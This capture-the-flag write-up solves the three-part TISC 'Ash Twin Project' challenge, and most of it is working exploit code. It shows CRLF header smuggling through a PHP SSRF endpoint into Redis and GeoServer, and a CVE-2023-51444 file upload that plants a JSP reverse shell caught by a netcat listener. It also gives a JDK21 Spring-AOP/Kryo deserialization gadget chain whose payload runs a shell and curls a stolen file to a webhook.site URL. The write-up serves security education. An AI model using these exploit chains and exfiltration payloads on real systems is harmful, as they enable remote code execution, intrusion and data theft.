Ash Twin Project
The probe interface is hosted at http://chals.tisc25.ctf.sg:45179/. No kernel exploits are required for this challenge. Attached files: ashtwin-project-3e7f4e64e89c45ce65c10c0ea59af77a.tar.gz
This is a 3-part challenge that requires chaining of exploits from each part to get to the final flag.
The challenge spins up a series of Docker containers on the same network.
web
: A PHP serverredis
: Redis cache to back the PHP servergeo
: A GeoServer server, an open source server for sharing geospatial dataworker
: Python helper for theweb
service to communicate togeo
the-eye
: Java program enabling access to the Part 1 and Part 2 flags
Part 1: PHP
Here are the web endpoints:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/challenge
- Returns the value of secret
- Inits secret if uninit. This is only done once.
/submit
- Takes {"s": payload}
- hash = sha512(secret || payload)
- Check that hash ends with 6 zeros
- If valid, it generates an XML template using generate_vectors().
- The hash is treated as a series of bytes and injected into a SOAP XML template.
- Then, publishes a new redis entry with $hashed|base64_encode(generated_vectors)
- This is pub/sub mode, i.e. sending a message on the channel "entries"
/poll
- Accepts json {"h": "attempt_..."}
- Looks up name in Redis and deletes it
- If the value of the key is 0, we get web flag
/check
- Restricted HTTP request forwarder
- Takes {"t": target url, "h": array of headers}
- url must start with http
- some headers are blocked
- headers are sanitized
- http request is made (response is true/false depending on error)
The idea is that we can submit a payload to /submit
. A hash is calculated from the payload. To prevent brute-force, the hash suffix is checked. Then, the hash is decoded into a geospatial vector and sent to the geo
server via the Python helper. The GeoServer server calculates a distance corresponding to the geospatial vector and associates the attempt with that distance in the Redis store. Subsequently, we can make a /poll
request to the web server. If the distance is zero, we get the web flag.
Since brute-forcing is impossible, we cannot easily generate a hash that will decode to a distance of zero. Instead, we exploit the /check
endpoint, which allows us to make requests into the internal network.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
$json = file_get_contents('php://input');
$data = json_decode($json, true);
header('Content-Type: application/json');
$result = array(
"result" => false
);
if (!isset($data["t"]) || !isset($data["h"])) {
echo json_encode($result);
return;
}
$t = $data["t"];
$h = $data["h"];
if (!str_starts_with($t, "http://")) {
echo json_encode($result);
return;
}
# Smuggling not allowed, find something else.
$d = array('content-type', 'host', 'x-forwarded-for', 'transfer-encoding', 'upgrade', 'referrer');
$nh = array();
foreach ($h as $x => $y) {
if (!is_string($x) || !is_string($y)) {
echo json_encode($result);
return;
}
$u = strtolower(trim($x));
if (in_array($u, $d) ) {
echo json_encode($result);
return;
}
$v = strtolower(trim($y));
foreach ($d as $k) {
if (str_contains($v, $k)) {
echo json_encode($result);
return;
}
}
array_push($nh, $u . ": " . $y);
}
$c = stream_context_create(array(
"http" => array(
"ignore_errors" => true,
"header" => implode("\r\n", $nh)
)
));
$response = @file_get_contents($t, false, $c);
if ($response) {
$result["result"] = true;
}
echo json_encode($result);
return;
?>
The exploit idea is intuitive: try to send a request to the Redis server directly. This is a known technique, where we exploit SSRF by smuggling Redis commands into HTTP request headers. We can create arbitrary headers by abusing the PHP code’s flawed sanitizer, smuggling headers by using CRLF in the header value.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from requests import *
import json
import hashlib
s = Session()
url = "http://chals.tisc25.ctf.sg:45179/"
r = s.post(url + "/api/check.php", json={
"t": "http://redis:6379",
"h": {
"abc": "42\r\nSET attempt_bob 0",
"Hack: a\r\nHost": "redis:6379",
}
})
print(r.text)
r = s.post(url + "/api/poll.php", json={"h": "attempt_bob"})
print(r.text)
Flag: TISC{d0nt_l00k_aw4y_0r_1t5_g0n3_ea98b517efe292de1b3663a892c384c5}
Part 2: GeoServer
The next part of the challenge is to get the GeoServer flag. There is a binary on the geo
container that will make the necessary requests to the-eye
container to retrieve the flag. So, it seems that we need to obtain RCE on GeoServer and run the binary.
Firstly, we must be able to communicate freely with the GeoServer server. Currently, our only means of interacting with it is via the Python helper, which only supports a single endpoint. Instead, we can extend our original header smuggling technique to smuggle whole requests! This is a known bug in PHP since 2021.
1
2
3
4
5
6
7
8
r = s.post(url + "/api/check.php", json={
"t": "http://geo:8080/geoserver",
"h": {
"Connection": "keep-alive",
"Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces HTTP/1.1",
"Host: 127.0.0.1:8501\r\nContent-Type: application/xml\r\nContent-Length: 46\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "<workspace><name>" +workspace_name+ "</name></workspace>\r\n"
}
})
This payload smuggles a POST request to the GeoServer
Next, let’s take a look at the geo
Dockerfile:
1
2
3
4
5
6
7
8
9
10
11
FROM kartoza/geoserver:2.20.3
...
# Apply some patches to fix complex numbers.
RUN wget -O /tmp/download.zip https://sourceforge.net/projects/geoserver/files/GeoServer/2.20.4/geoserver-2.20.4-patches.zip/download
RUN unzip /tmp/download.zip
RUN mv gt-app-schema-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-app-schema-26.3.jar
RUN mv gt-complex-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-complex-26.3.jar
RUN mv gt-xsd-core-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-xsd-core-26.3.jar
RUN rm /tmp/download.zip
...
The challenge uses an extremely old version of GeoServer (current version is 2.27.2). There have been many vulnerabilities in GeoServer since then so we can simply pick a public PoC and adapt it for the challenge version. The patches in the Dockerfile patch the most famous GeoServer CVE, CVE-2024-36401, but there are plenty of others.
For my exploit, I used CVE-2023-51444 which gives arbitrary file upload via directory traversal. This is an older vulnerability than the one the Dockerfile patch fixes, but the challenge version was already EOL by then so it did not receive a patch. We have to tweak the PoC a bit to work with the older version but the general idea is the same.
Since we can upload arbitrary files, we can simply upload a jsp reverse shell into the Apache server’s webapps
directory. Then, visiting it (via the web
proxy) will trigger the reverse shell and grant RCE.
Exploit script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from requests import *
import json
import hashlib
import random
import string
import urllib.parse
from threading import Thread
from pwn import *
from solve3 import solve3
s = Session()
url = "http://chals.tisc25.ctf.sg:45179/"
my_ip = "redacted"
my_port = "8000"
def random_string(length=8):
return ''.join(random.choices(string.ascii_letters, k=length))
def exploit(payload=None):
global my_port
context.log_level = "debug"
p = process(["nc", "-nvlp", my_port])
p.recvline_contains(b"Connection received on")
p.sendline(b"whoami && pwd")
assert p.recvline().strip() == b"geoserveruser"
if payload is None:
p.interactive()
else:
payload(p)
p.close()
def solve2(p):
p.sendline(b"/readflag")
print(p.recvline_contains(b"TISC"))
thread = Thread(target = exploit, args = (solve2,))
thread.start()
time.sleep(1)
workspace_name = random_string(10)
store_name = random_string(6)
filename = "super_duper_secret_shell_xd.jsp"
# https://github.com/LaiKash/JSP-Reverse-and-Web-Shell/blob/main/shell.jsp
payload = r"""
<truncated - refer to URL above>
"""
payload = payload.strip()
payload = hex(len(payload))[2:] + "\r\n" + payload + "\r\n0\r\n\r\n"
if True:
# setup reverse shell
# Payload 1
r = s.post(url + "/api/check.php", json={
"t": "http://geo:8080/geoserver",
"h": {
"Connection": "keep-alive",
"Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces HTTP/1.1",
"Host: 127.0.0.1:8501\r\nContent-Type: application/xml\r\nContent-Length: 46\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "<workspace><name>" +workspace_name+ "</name></workspace>\r\n"
}
})
print(r.text)
assert json.loads(r.text)["result"] == True
# Payload 2
r = s.post(url + "/api/check.php", json={
"t": "http://geo:8080/geoserver",
"h": {
"Connection": "keep-alive",
"Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPUT /geoserver/rest/workspaces/"+workspace_name+ "/coveragestores/" +store_name+"/external.imagemosaic HTTP/1.1",
"Host: 127.0.0.1:8501\r\nContent-Type: text/plain\r\nContent-Length: 41\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "file:///usr/local/tomcat/webapps/examples\r\n"
}
})
print(r.text)
assert json.loads(r.text)["result"] == True
# Payload 3
r = s.post(url + "/api/check.php", json={
"t": "http://geo:8080/geoserver",
"h": {
"Connection": "keep-alive",
"Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces/"+workspace_name+"/coveragestores/"+store_name+"/file.shp?filename="+filename+" HTTP/1.1",
"Host: 127.0.0.1:8501\r\nContent-Type: application/zip\r\nTransfer-Encoding: chunked\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE",
"t": "t\r\n\r\n" + payload
}
})
print(r.text)
# Trigger reverse shell
r = s.post(url + "/api/check.php", json={
"t": f"http://geo:8080/examples/" + filename,
"h": {}
})
print(r.text)
Flag: TISC{4r0und_th3_Un1v3r53_l1k3_4_r1_4x1s_cf47f7e49c6da010561866cda8f7d1c1}
Part 3 - Java Deserialization
The final part of the challenge requires us to get RCE on the-eye
server. This is a Java Spring server that supports de/serialization of a custom Token class. With our reverse shell on geo
, we can send arbitrary requests to the-eye
.
These are the deserialization methods:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private static final List<String> MISSED_COLLECTION_CLASSES = Arrays.asList("Unmodifiable", "Synchronized",
"Checked");
public static Token deserializeFromBytes(byte[] data) throws IOException, ClassNotFoundException {
byte[] decompressed = Snappy.uncompress(data);
Input input = new Input(decompressed);
Kryo kryo = createKryo();
return kryo.readObject(input, Token.class);
}
public static Kryo createKryo() {
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
kryo.setReferences(false);
try {
Class<?>[] f = Collections.class.getDeclaredClasses();
Arrays.stream(f)
.filter(cls -> MISSED_COLLECTION_CLASSES.stream().anyMatch(s -> cls.getName().contains(s)))
.forEach(cls -> kryo.addDefaultSerializer(cls, new JavaSerializer()));
} catch (Exception e) {
e.printStackTrace();
}
kryo.addDefaultSerializer(UUID.class, new DefaultSerializers.UUIDSerializer());
kryo.addDefaultSerializer(URI.class, new DefaultSerializers.URISerializer());
kryo.addDefaultSerializer(Pattern.class, new DefaultSerializers.PatternSerializer());
kryo.addDefaultSerializer(AtomicBoolean.class, new DefaultSerializers.AtomicBooleanSerializer());
kryo.addDefaultSerializer(AtomicInteger.class, new DefaultSerializers.AtomicIntegerSerializer());
kryo.addDefaultSerializer(AtomicLong.class, new DefaultSerializers.AtomicLongSerializer());
kryo.addDefaultSerializer(AtomicReference.class, new DefaultSerializers.AtomicReferenceSerializer());
return kryo;
}
The server will deserialize the user-supplied token using Kryo, falling back to the default JavaSerializer()
for the three specific collection classes.
The Token
class is simple.
1
2
3
4
5
6
public class Token {
private String scope;
private UUID magic;
private HashMap<String, Object> properties;
// ...
We have to achieve RCE via a deserialization exploit. The Java server is using JDK21, where many classic exploit techniques are blocked – just using ysoserial
won’t cut it. Furthermore, it is using modern versions of its dependencies:
1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>6.2.8</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.24</version>
</dependency>
After a lot of Googling, we find a recent blogpost detailing a novel Spring-AOP chain utilizing AbstractAspectJAdvice
. This chain works on the challenge’s versions of spring-aop
. However, there are a few things we have to fix:
- It uses
BadAttributeValueException::toString()
as the source to triggerProxy::invoke()
. This method is blocked in modern JDK (17+)- Replace with a
PriorityQueue
source. Instead of using BeanComparator as the comparator, simply make the Proxy implement Comparator.
- Replace with a
- It uses
TemplatesImpl
as the sink. This method has been blocked in modern JDK (17+) due to its inheritance ofAbstractTranslet
- Extend exploit with this recently discovered bypass
- Calls
TemplatesImpl::newTransformer()
via reflection, which is blocked in JDK 21.- Use a second Proxy. The reflective invocation will then invoke a proxy function, which will then invoke
::newTransformer()
.
- Use a second Proxy. The reflective invocation will then invoke a proxy function, which will then invoke
Exploit (based on Ape1ron repo):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// TemplatesImplNode.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.Serializable;
public class TemplatesImplNode {
public static byte[] getTemplateCode(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(" + cmd + ");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static Object gimme(String cmd) throws Exception {
byte[] code1 = getTemplateCode(cmd);
byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Reflections.setFieldValue(templates, "_name", "xxx");
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
Reflections.setFieldValue(templates,"_transletIndex",0);
return templates;
}
public static Object makeGadget(String cmd) throws Exception {
return createTemplatesImpl(cmd);
}
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
// SpringAOP1.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.DefaultAdvisorChainFactory;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.HashMap;
import java.util.PriorityQueue;
import java.util.Comparator;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import sun.reflect.ReflectionFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.lang.reflect.*;
import javax.xml.transform.Templates;
import java.util.*;
public class SpringAOP1 {
public static void main(String[] args) throws Throwable {
SpringAOP1 aop1 = new SpringAOP1();
Object object = aop1.getObject("new String[]{\"/bin/sh\", \"-c\", \"/read_eye_flag > /tmp/log.txt; curl https://webhook.site/aeb56f6f-d1c7-47dd-b27f-38f01af44959?p=1 -F file=@/tmp/log.txt; rm /tmp/log.txt\"}");
Token token = new Token();
token.setScope("web");
token.setMagic(java.util.UUID.fromString("123e4567-e89b-12d3-a456-426614174000"));
token.setProperty("pwn", "hiya!");
Map<Object,Object> inner = new HashMap<>();
inner.put(object, "x");
Map<Object,Object> unmodifiable = Collections.unmodifiableMap(inner);
token.setProperty("malicious", unmodifiable);
String bd = Token.TokenUtils.serializeToBase64(token);
System.out.println(bd);
}
public Object getObject (String cmd) throws Throwable {
AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd);
InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(aspectJAroundAdvice);
Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class);
Advisor advisor = new DefaultIntroductionAdvisor((Advice) proxy1);
List<Advisor> advisors = new ArrayList<>();
advisors.add(advisor);
AdvisedSupport advisedSupport = new AdvisedSupport();
Reflections.setFieldValue(advisedSupport,"advisors",advisors);
DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();
Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);
InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport);
Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Comparator.class);
PriorityQueue<Object> pq = new PriorityQueue<>(2, (Comparator<Object>)proxy2);
// Don’t trigger locally: directly set internal state so heapify happens only on deserialize
Object[] q = new Object[] { 1, 1 }; // two dummies; values don’t matter
Reflections.setFieldValue(pq, "size", 2);
Reflections.setFieldValue(pq, "queue", q);
return pq;
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public AspectJAroundAdvice getAspectJAroundAdvice(String cmd) throws Exception {
Object mutt = TemplatesImplNode.gimme(cmd);
InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(mutt);
Object templatesImpl = Proxy.makeGadget(jdkDynamicAopProxy1, Templates.class);
SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", Templates.class);
Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);
AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
return aspectJAroundAdvice;
}
}
Flag: TISC{5c1enc3_c0mp3ls_u5_t0_bl0w_up_th3_5uN_a5db3063b77085f08d777c080de80c02}